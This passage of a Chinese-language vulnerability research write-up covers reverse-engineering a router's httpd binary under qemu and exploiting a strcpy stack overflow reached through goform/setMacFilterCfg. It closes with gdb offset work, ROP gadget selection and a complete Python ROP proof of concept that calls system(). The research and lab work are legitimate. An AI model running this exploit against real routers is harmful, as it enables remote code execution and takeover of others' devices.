0, websDefaultHandler, 2); sub_42378(v4); sub_179A8("/", 0, 0, sub_2ECD0, 0); return 0; } else { // 打印错误信息并返回 printf("%s %d: websOpenServer failed\n", "initWebs", 499); return -1; } }
在调用 inet_aton
函数时,将全局变量 g_lan_ip
的值作为参数传递给了该函数的第一个参数,即将设备在局域网中的 IP 地址转换为了一个 struct in_addr
结构体中的值 inp
1 | inet_aton(g_lan_ip, &inp); |
==交叉引用这个函数,发现在主函数初始化等这个g_lan_ip参数,再调用这个函数进行处理g_lan_ip==
5.关于ip处理的函数的调用链
sub_2E420(main函数)-> sub_2E9EC(initWebs函数) -> sub_29510 -> sub_29818 -> sub_1B84C
4.根据ip的赋值调用回溯到生成逻辑
1.printf这里的ip,指针指向v8
2.v8指针指向s.sa_data
3.s.sa_data关联a1
来仔细看一下这个地方的inet_addr(a1)的调用
==将提供的IP地址字符串(如果有的话)转换为二进制形式,并存储在 sockaddr
结构体的 sa_data
字段中==
==如果没有提供IP地址字符串,则将 sa_data
的对应部分设置为0==
1 2 3 4 | if ( a1 ) * (_DWORD * )&s.sa_data[ 2 ] = inet_addr(a1); else * (_DWORD * )&s.sa_data[ 2 ] = 0 ; |
if (a1)
: 检查a1
是否为非空指针如果
a1
非空,说明它指向一个有效的字符串*(_DWORD *)&s.sa_data[2] = inet_addr(a1);
:如果a1
非空,使用inet_addr
函数将a1
指向的字符串转换为网络字节序的二进制IP地址,并将该值存储到s.sa_data[2]
中具体来说,
(_DWORD *)&s.sa_data[2]
是将sa_data
中从偏移量 2 开始的4个字节解释为一个32位的无符号整数(DWORD),并将转换后的IP地址存储到该位置else
: 如果a1
是空指针说明没有提供有效的IP地址字符串
*(_DWORD *)&s.sa_data[2] = 0;
:在这种情况下,将s.sa_data[2]
的值设置为0也就是说,将
s.sa_data
的从偏移量 2 开始的4个字节都设置为0这表示使用默认的IP地址(通常为
INADDR_ANY
,表示绑定到所有可用接口)
4.根据刚刚的调用链,交叉引用函数,查看a1在被作为参数传入这个函数的地方
可以看到这里的v8对应前面函数传入的a1
v8就是 g_lan_ip
7. g_lan_ip根据调用链交叉引用到main函数
这里的v17赋值给 g_lan_ip
这里的函数综合处理了s和v17
==推测应该是getIfIp处理的ip生成==
<img src="https://g1rffe.oss-cn-chengdu.aliyuncs.com/typora/image-20240529210302845.png" alt="image-20240529210302845" style="zoom:150%;" />
8.查看getIfIp回调函数
9.分析getIfIp
1.在libc库检索getIfIp
使用readelf查找httpd所有的链接库
1 | readelf - d . / bin / httpd | grep NEEDED |
在libcommon.so找到这个回调函数
1 | nm - D . / lib / libcommon.so |
找到这里的链接库
2.将libcommon.so提取出来查看源码
1.找到文件
路径在截图的上方
2.ida分析
这里可以看见传入的两个参数分别是g_lan_ip和v17
int __fastcall getIfIp(const char *a1, char *a2) { char *v3; // 临时变量,用于存储转换后的IP地址 char dest[20]; // 存储网络接口名的缓冲区 struct in_addr v8; // 存储IP地址的in_addr结构 int fd; // 存储创建的套接字描述符 // 创建一个类型为SOCK_DGRAM的IPv4套接字 fd = socket(2, 2, 0); // 如果创建套接字失败,返回失败值-1 if ( fd < 0 ) { return -1; } // 将网络接口名安全复制到局部变量dest中 strncpy(dest, a1, 0x10u); // 使用ioctl请求SIOCGIFADDR操作,获取网络接口的IP地址 // 如果请求失败,关闭套接字并返回失败值-1 if ( ioctl(fd, 0x8915u, dest) < 0 ) { close(fd); return -1; } // 将网络接口的IP地址转换为点分十进制字符串格式 v3 = inet_ntoa(v8); // 将点分十进制的IP地址复制到a2指向的缓冲区 strcpy(a2, v3); // 关闭创建的套接字 close(fd); // 函数执行成功,返回值0 return 0; }
可以发现这里的关键是申请ip的函数ioctl
<img src="https://g1rffe.oss-cn-chengdu.aliyuncs.com/typora/image-20240529212813603.png" alt="image-20240529212813603" style="zoom:200%;" />
3.解析ioctl
1.简述
ioctl
用于与设备驱动程序进行交互,可以用来获取或设置接口的各种参数
0x8915u
是一个具体的命令,用于获取接口的 IP 地址
2.代码解释
1 | if (ioctl(fd, 0x8915u, dest) >= 0) |
fd
是通过socket
函数创建的套接字描述符0x8915u
是一个ioctl
命令,对应于SIOCGIFADDR
命令,表示获取网络接口的 IP 地址dest
是指向ifreq
结构的指针,该结构包含接口名称,并将存储返回的接口地址
3.ioctl
函数原型
1 | int ioctl( int fd, unsigned long request, ...); |
fd
: 文件描述符,一般由socket
函数返回request
: 请求码,表示具体的操作...
: 可选参数,取决于请求码的具体含义
4.解析SIOCGIFADDR
命令
1.简述
SIOCGIFADDR
是一个 ioctl
命令,用于获取指定网络接口的 IP 地址
定义在 <sys/ioctl.h>
中,通常表示为 0x8915u
2.详细解析
1.ifreq
结构
ifreq
结构定义在 <net/if.h>
中,用于传递网络接口相关信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | struct ifreq { char ifr_name[IFNAMSIZ]; /* Interface name */ union { struct sockaddr ifr_addr; struct sockaddr ifr_dstaddr; struct sockaddr ifr_broadaddr; struct sockaddr ifr_netmask; short ifr_flags; int ifr_ivalue; int ifr_mtu; struct ifmap ifr_map; char ifr_slave[IFNAMSIZ]; char ifr_newname[IFNAMSIZ]; void * ifr_data; }; }; |
ifr_name
用于指定网络接口名称,ifr_addr
用于存储获取到的 IP 地址
5.前面两个参数已经确定具体含义,分析第三个参数
调用getLanIfName函数
6.在ida中分析这个getLanIfName
进入查看
7.get_eth_name在libChipApi.so中,ida分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | const char * __fastcall get_eth_name( int a1) { const char * v1; / / r3 switch ( a1 ) { case 0 : v1 = "br0" ; break ; case 1 : v1 = "br1" ; break ; case 6 : v1 = "vlan1" ; break ; case 10 : v1 = "vlan2" ; break ; case 11 : v1 = "vlan3" ; break ; case 12 : v1 = "vlan4" ; break ; case 13 : v1 = "vlan5" ; break ; case 23 : v1 = "eth1" ; break ; case 24 : v1 = "wl0.1" ; break ; case 27 : v1 = "eth2" ; break ; case 28 : v1 = "wl1.1" ; break ; case 51 : v1 = "br10" ; break ; case 55 : v1 = "br20" ; break ; default: v1 = (const char * )&unk_66C8; break ; } return v1; } |
这里看到传入的参数是0
对应的 v1 = "br0";,所以这里要设置的第三个参数为网卡的名称为br0
10.结论
==设置一个第三个参数为网卡的名称为br0==
操作:
1 2 | sudo brctl addbr br0 sudo ifconfig br0 . 17.0 . 222 |
在ubuntu的浏览器上直接访问ip就可以发现,可以成功连接上路由了
7.缓冲区漏洞ida分析
根据官方文档在httpd文件内的sub_C24C0函数存在栈溢出漏洞
// 定义函数,接收两个参数,a1 和 a2 int __fastcall sub_C24C0(const char *a1, char *a2) { // 定义两个数组并初始化 int v6[4]; // [sp+10h] [bp-34h] BYREF int s2[4]; // [sp+20h] [bp-24h] BYREF // 定义两个字符变量 char v8; // [sp+32h] [bp-12h] char v9; // [sp+33h] [bp-11h] // 定义一个指向字符的指针变量 char *src; // [sp+34h] [bp-10h] // 在 a1 中查找字符 13(CR),如果找到,将其位置的地址赋值给 src src = strchr(a1, 13); // 如果 src 不为空(即 a1 中存在字符 13) if ( src ) { *src++ = 0; // 将 src 指向的字符赋值为 0,并将 src 的地址向后移动一位 // 为 v6 数组的每个元素赋值为 0 memset(v6, 0, sizeof(v6)); // 如果能获取到 "cgi_debug" 的值,并且这个值等于 "on" if ( GetValue("cgi_debug", v6) && !strcmp("on", (const char *)v6) ) { v9 = 1; // 将 v9 赋值为 1 // 打印一些调试信息 printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "parse_macfilter_rule", 807, off_1018C0[0]); printf("parase rule: name == %s, mac == %s\n\x1B[0m", a1, src); } // 将 a1 的值复制到 a2+32 的位置 strcpy(a2 + 32, a1); // 将 src 的值复制到 a2 的位置 strcpy(a2, src); return 0; // 返回 0 } // 如果 src 为空(即 a1 中不存在字符 13) else { // 为 s2 数组的每个元素赋值为 0 memset(s2, 0, sizeof(s2)); // 如果能获取到 "cgi_debug" 的值,并且这个值等于 "on" if ( GetValue("cgi_debug", s2) && !strcmp("on", (const char *)s2) ) { v8 = 2; // 将 v8 赋值为 2 // 打印一些调试信息 printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "parse_macfilter_rule", 803, off_1018C4[0]); printf("source_rule error: %s!\n\x1B[0m", a1); } return 2; // 返回 2 } }
1.栈溢出利用的地方
==这个地方strcpy不会检查字符串的大小,a1直接没有判断长度拷贝到了a2+32,从而可以实现栈溢出,更改函数的流程==
2.a2的大小交叉引用到上级函数查看
交叉引用sub_C24C0,得到a2的大小
可以看到==a2的大小是176个字节==
3.分析a2的调用链
1.sub_C24C0
2.sub_C17A0
3.sub_C14DC
4.formSetMacFilterCfg
5.sub_42378
这个函数相当于是在给每个网络相关的处理函数分配名字
6.sub_2E9EC
7.main函数
8.得到调用调用链子
1 | sub_C24C0 < - sub_C17A0 < - sub_C14DC < - formSetMacfiltercfg < - sub_42378 < - sub_2E9EC (initWebs函数)< - sub_2E420(main函数) |
4.根据函数调用链子分析a2的数据来源
1.sub_C24C0
2.sub_C17A0
5.根据函数调用链子分析src字符串的数据来源
1.sub_C24C0
2.sub_C17A0
3.sub_C14DC
5.formSetMacFilterCfg
6.最后的调用就formSetMacFilterCfg
==HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点==
这里详细解释一下:
- 在HTTP请求中,
deviceList
通常被用来指定一个设备列表(包含有关设备的详细信息,例如设备ID,设备名称,设备类型等等) - 作为一个请求参数,
deviceList
可以作为要查询的设备清单,使服务器只返回这些设备的状态 - 例如:HTTP
- GET请求:
http://example.com/api/devices?deviceList=device1,device2,device3
就会向服务器查询device1, device2, device3这三个设备的状态。 - 一个POST请求:
http://example.com/api/devices/setState
,其中的请求体是{ "deviceList": ["device1", "device2"], "state": "on" }
就会将 device1 和 device2 这两个设备的状态设置为 "on"
- GET请求:
7.注释:进入formSetMacfiltercfg函数需要访问goform/setMacFilterCfg
这个地方很关键的一个理解
这两个函数共同解释注册表,这个地方就是goform/setMacFilterCfg地址的调用流程
6.调试成功调用路径的判定条件
1.formSetMacfiltercfg→sub_C14DC
1.判定条件为v19必须为0,才能调用formSetMacfiltercfg
2.v19的值根据sub_C10D0得到
2.判定sub_C10D0返回0逻辑
==a1的参数是black或者white就会将相应的值设置为macfilter.mode
,并且让a1返回0==
2.sub_C14DC→sub_C17A0
当a2指针指向的字符串不为0时,将循环调用sub_C17A0
这个地方的a2就是前面函数的v17(已经判断过他的生成逻辑,肯定不为空)
3.sub_C17A0→sub_C24C0
没有判定条件,直接执行
8.抓包分析报文poc格式
抓个damn
结合前面的对于httpd的调用链的拼接和抓包的格式和字符串的溢出长度
import requests url = "http://172.17.0.222/goform/setMacFilterCfg"//这是前面逆向分析路由器的注册表检索的路径 cookie = {"Cookie": "password=12345"}//抓包发现的密码发包格式(密码可以自己定义) data = {"macFilterType": "white", "deviceList": "\r" + "A" * 500}//前面逆向分析需要的字符拼接绕过 response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data)//这里根据前辈的经验要发包两次才能成功,不知道为什么 print(response.text)
9.gdb调试偏移
1.checksec检查保护
可以看见这里开启了NX保护,但是其他保护都没有打开,所以很好泄露
2.发送poc,进入调试
1.先设置网卡br0,运行httpd文件
1 2 | sudo brctl addbr br0 sudo ifconfig br0 172.17 . 0.222 |
2.火狐连接检查是否连接成功
连接成功
3.gdb设置连接
1.运行,开放连接端口
1 | sudo chroot . / . / qemu - arm - static - g 1234 . / bin / httpd |
2.gdb设置1234端口连接调试,不设置断点,continue等待poc传输
1 2 3 | gdb - multiarch set architecture arm target remote : 1234 |
3.发送poc,gdb窗口等待回显
1.另开一个端口运行poc
<img src="https://g1rffe.oss-cn-chengdu.aliyuncs.com/typora/image-20240602183116079.png" alt="image-20240602183116079" style="zoom:250%;" />
2.gdb查看回显
可以发现这个地方已经将连续的A字符串压入栈中,实现溢出,覆盖了pc寄存器和返回地址的数据
3.栈溢出利用
1.利用思路
- 向R0写入system
- 计算libc.so基地址
- 计算system函数在libc中的偏移
2.计算libc基地址(采用使用puts函数泄露libc地址)
==这里很悲伤的是qemu-user模拟不支持vmmap指令打印内存信息==
==qemu是默认关闭ASLR的,每次调试地址是一样的==
我们把断点下再这个地方的main函数puts的调用
1 | b * 0x0002E4FC |
这个地方就是puts函数
IDA中查看puts函数的地址为0x35cd4,得到偏移量为:0xff5c1cd4 - 0x35cd4 = 0xff58c000
2.计算system的偏移
1 | readelf - s . / lib / libc.so. 0 |grep system |
3.寻找可靠的R0的gadget
1 | ROPgadget - - binary . / lib / libc.so. 0 | grep "mov r0, sp" |
找到一个能用的就行
1 | 0x00040cb8 : mov r0, sp ; blx r3 |
4.跳转到R3的gadget
1 | ROPgadget - - binary . / lib / libc.so. 0 - - only "pop" | grep r3 |
找一个简单点的pop链
1 | 0x00018298 : pop {r3, pc} |
4.payload的链子思路
1.溢出处函数返回跳转到第一个gadget (pop {r3, pc})
引发一个缓冲区溢出,控制溢出处函数的返回地址
将这个地址更改为第一个gadget(pop {r3, pc})的地址(当函数返回时,它就会跳转到这个gadget开始执行)
2.栈顶第一个元素(system_addr)弹出到R3寄存器,第二个元素(gadget2:mov r0, sp ; blx r3)弹出到PC使程序流执行到gadget2
pop {r3, pc}进行的操作:
它会从栈顶取出一个值放入 r3寄存器,然后再取栈顶的下一个值放入 pc寄存器
在栈顶放上 system_addr和第二个gadget的地址
执行这个gadget后,system_addr就被放入 r3寄存器,第二个gadget的地址放入 pc寄存器(程序就会跳转到第二个gadget开始执行)
3.此时的栈顶内容(cmd)放入R0, 并使程序跳转到R3寄存器指向的地址去执行
执行第二个gadget(mov r0, sp ; blx r3)时,会从当前的栈顶(也就是 cmd的位置)取出一个值放入 r0寄存器
然后跳转到 r3寄存器中的地址(也就是 system函数)去执行
10.完整的POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | from pwn import * import requests abs = b "echo you are hacking by giraffe!" libc_base = 0xff58c000 system = libc_base + 0x5A270 mov_r0_ret_r3 = libc_base + 0x40cb8 pop_r3 = libc_base + 0x18298 payload = b 'a' * 176 payload + = p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + abs url = "http://172.17.0.222/goform/setMacFilterCfg" cookie = { "Cookie" : "password=12345" } data = { "macFilterType" : "black" , "deviceList" : b "\r" + payload} response = requests.post(url, cookies = cookie, data = data) response = requests.post(url, cookies = cookie, data = data) print (response.text) |